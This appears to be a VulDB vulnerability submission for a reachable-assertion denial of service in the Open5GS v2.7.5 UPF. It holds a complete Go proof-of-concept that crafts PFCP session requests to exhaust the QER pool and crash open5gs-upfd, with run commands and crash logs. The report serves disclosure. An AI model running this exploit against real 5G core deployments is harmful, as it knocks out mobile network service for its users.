Submit #716810: Open5GS v2.7.5 CWE-617 Reachable Assertioninfo

TitelOpen5GS v2.7.5 CWE-617 Reachable Assertion
Beschreibung### Description During PFCP Session Establishment, UPF automatically allocates a QER whenever a CreatePDR references a QER-ID, even if no CreateQER IE was supplied. Because the per-session pool only holds four QER objects, including five or more PDRs with unique QER-IDs forces the allocator to run out of entries and reach the internal ogs_assert(qer) check. That assertion terminates open5gs-upfd, so any remote attacker can trigger a denial of service simply by referencing too many implicit QERs. 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "encoding/hex" "errors" "flag" "fmt" "log" "math/rand" "net" "os" "strings" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) const ( defaultPFCPPort = 8805 readTimeout = 2 * time.Second ) type pfcpClient struct { nodeIP net.IP seid uint64 seq uint32 } func (c *pfcpClient) nextSeq() uint32 { c.seq++ if c.seq == 0 || c.seq > 0x00ffffff { c.seq = 1 } return c.seq } func (c *pfcpClient) mandatoryIEs() []*ie.IE { return []*ie.IE{ ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewFSEID(c.seid, c.nodeIP, nil), ie.NewPDNType(ie.PDNTypeIPv4), } } func (c *pfcpClient) buildSession(ies ...*ie.IE) *message.SessionEstablishmentRequest { payload := append([]*ie.IE{}, c.mandatoryIEs()...) payload = append(payload, ies...) return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...) } func (c *pfcpClient) sendAssociation(conn *net.UDPConn) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewRecoveryTimeStamp(time.Now()), ie.NewCPFunctionFeatures(0x3f), ) return sendAndMaybeRead(conn, req) } type pfcpMarshaler interface { Marshal() ([]byte, error) } func sendAndMaybeRead(conn *net.UDPConn, msg pfcpMarshaler) error { payload, err := msg.Marshal() if err != nil { return fmt.Errorf("marshal PFCP message: %w", err) } if _, err := conn.Write(payload); err != nil { return fmt.Errorf("send PFCP message: %w", err) } _ = conn.SetReadDeadline(time.Now().Add(readTimeout)) buf := make([]byte, 2048) if _, err := conn.Read(buf); err != nil { if ne, ok := err.(net.Error); ok && ne.Timeout() { return nil } return fmt.Errorf("read PFCP response: %w", err) } return nil } func newForwardingFar(id uint32) *ie.IE { return ie.NewCreateFAR( ie.NewFARID(id), ie.NewApplyAction(0x02), // FORW ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceAccess), ), ) } func buildPdrWithoutQerDefinition( client *pfcpClient, dnn string, accessIP net.IP, teid uint32, pdrID uint16, precedence uint32, farID uint32, qerID uint32, ) *ie.IE { return ie.NewCreatePDR( ie.NewPDRID(pdrID), ie.NewPrecedence(precedence), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewNetworkInstance(dnn), ie.NewFTEID(0x01, teid, accessIP, nil, 0), ), ie.NewFARID(farID), ie.NewQERID(qerID), ) } func buildSessionOverflowingQerPool( client *pfcpClient, dnn string, accessIP net.IP, baseTEID uint32, farID uint32, pdrCount int, ) *message.SessionEstablishmentRequest { if pdrCount < 1 { pdrCount = 1 } pdrs := make([]*ie.IE, 0, pdrCount+1) pdrs = append(pdrs, newForwardingFar(farID)) for i := 0; i < pdrCount; i++ { qerID := uint32(100 + i) pdrs = append(pdrs, buildPdrWithoutQerDefinition( client, dnn, accessIP, baseTEID+uint32(i), uint16(i+1), 100+uint32(i), farID, qerID, )) } return client.buildSession(pdrs...) } func resolveTarget(target string) (string, error) { if strings.Contains(target, ":") { return target, nil } return fmt.Sprintf("%s:%d", target, defaultPFCPPort), nil } func main() { var ( target = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint (host[:port])") nodeIPStr = flag.String("node-ip", "10.0.0.1", "Local NodeID (IPv4)") accessStr = flag.String("access-ip", "10.0.0.2", "IPv4 for PDR F-TEIDs") dnn = flag.String("dnn", "internet", "Network Instance / DNN") farID = flag.Uint("far-id", 9, "FAR ID shared by all PDRs") teidBase = flag.Uint("teid-base", 0x20000000, "Base TEID used for CreatePDRs") pdrCount = flag.Int("pdr-count", 6, "Number of CreatePDR IEs to install (>=5 triggers crash)") skipAssoc = flag.Bool("skip-assoc", false, "Skip PFCP Association Setup") dumpHex = flag.Bool("dump", false, "Dump crafted Session Establishment bytes") seidFlag = flag.Uint64("seid", 0, "Override CP F-SEID (defaults to random)") ) flag.Parse() nodeIP := net.ParseIP(*nodeIPStr) if nodeIP == nil { log.Fatalf("invalid node-ip: %s", *nodeIPStr) } accessIP := net.ParseIP(*accessStr) if accessIP == nil { log.Fatalf("invalid access-ip: %s", *accessStr) } resolvedTarget, err := resolveTarget(*target) if err != nil { log.Fatalf("resolve target: %v", err) } remoteAddr, err := net.ResolveUDPAddr("udp", resolvedTarget) if err != nil { log.Fatalf("resolve UDP addr: %v", err) } conn, err := net.DialUDP("udp", nil, remoteAddr) if err != nil { log.Fatalf("dial PFCP: %v", err) } defer conn.Close() seid := *seidFlag if seid == 0 { rand.Seed(time.Now().UnixNano()) seid = uint64(rand.Uint32())<<32 | uint64(rand.Uint32()) } client := &pfcpClient{nodeIP: nodeIP, seid: seid, seq: uint32(rand.Intn(0xffffff))} log.Printf("POC: Exhaust per-session QER pool via implicit QER creation from PDR references") log.Printf("Location: lib/pfcp/context.c:1997 in ogs_pfcp_qer_find_or_add() -> ogs_assert(qer)") log.Printf("Trigger: >4 CreatePDR IEs each referencing a unique QER-ID without CreateQER definitions") log.Printf("Target UPF: %s", resolvedTarget) log.Printf("Node IP: %s", nodeIP.String()) log.Printf("Access IP: %s", accessIP.String()) log.Printf("DNN: %s", *dnn) log.Printf("F-SEID: 0x%x", client.seid) log.Printf("PDR Count: %d (OGS_MAX_NUM_OF_QER = 4)", *pdrCount) log.Printf("") if !*skipAssoc { if err := client.sendAssociation(conn); err != nil { log.Printf("association setup failed: %v", err) } else { log.Printf("association setup request sent to %s", resolvedTarget) } } req := buildSessionOverflowingQerPool( client, *dnn, accessIP, uint32(*teidBase), uint32(*farID), *pdrCount, ) payload, err := req.Marshal() if err != nil { log.Fatalf("marshal session establishment: %v", err) } if *dumpHex { fmt.Printf("Session Establishment (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send session establishment: %v", err) } _ = conn.SetReadDeadline(time.Now().Add(readTimeout)) buf := make([]byte, 2048) if n, err := conn.Read(buf); err == nil { fmt.Printf("received %d-byte response\n", n) } else if !errors.Is(err, os.ErrDeadlineExceeded) { if ne, ok := err.(net.Error); ok && ne.Timeout() { log.Printf("no response within %s (expected if UPF aborts)", readTimeout) } else { log.Printf("read response: %v", err) } } else { log.Printf("no PFCP response (expected on crash)") } } ``` 3. Download required libraries: go mod tidy 4. Run the program with the upf pfcp server address: ``` go run main.go \ -target 10.33.33.3:8805 \ -node-ip 10.33.33.4 \ -access-ip 10.33.33.2 \ -dnn internet \ -pdr-count 6 ``` ### Logs ```shell 11/26 11:05:02.248: [upf] INFO: [Added] Number of UPF-Sessions is now 1 (../src/upf/context.c:209) 11/26 11:05:02.248: [upf] DEBUG: Session Establishment Request (../src/upf/n4-handler.c:66) 11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429) 0000: 696e7465 726e6574 internet 11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525) 11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429) 0000: 696e7465 726e6574 internet 11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525) 11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429) 0000: 696e7465 726e6574 internet 11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525) 11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429) 0000: 696e7465 726e6574 internet 11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525) 11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429) 0000: 696e7465 726e6574 internet 11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525) 11/26 11:05:02.248: [pfcp] ERROR: qer_id_pool() failed (../lib/pfcp/context.c:2006) 11/26 11:05:02.248: [pfcp] FATAL: ogs_pfcp_qer_find_or_add: Assertion `qer' failed. (../lib/pfcp/context.c:2043) 11/26 11:05:02.248: [core] FATAL: backtrace() returned 12 addresses (../lib/core/ogs-abort.c:37) /usr/local/lib/libogspfcp.so.2(ogs_pfcp_qer_find_or_add+0x11d) [0x7fc2b4f0af24] /usr/local/lib/libogspfcp.so.2(ogs_pfcp_handle_create_pdr+0x17bf) [0x7fc2b4ef4bd5] open5gs-upfd(+0x1723c) [0x55bd4da0c23c] open5gs-upfd(+0x1022c) [0x55bd4da0522c] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7fc2b4f9b374] open5gs-upfd(+0xea3f) [0x55bd4da03a3f] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7fc2b4f9b374] open5gs-upfd(+0x78fa) [0x55bd4d9fc8fa] /usr/local/lib/libogscore.so.2(+0x119a3
Quelle⚠️ https://github.com/open5gs/open5gs/issues/4181
Benutzer
 ZiyuLin (UID 93568)
Einreichung16.12.2025 16:02 (vor 4 Monaten)
Moderieren19.12.2025 09:31 (3 days later)
StatusAkzeptiert
VulDB Eintrag337590 [Open5GS bis 2.7.6 QER/FAR/URR/PDR lib/pfcp/context.c Denial of Service]
Punkte20

Want to know what is going to be exploited?

We predict KEV entries!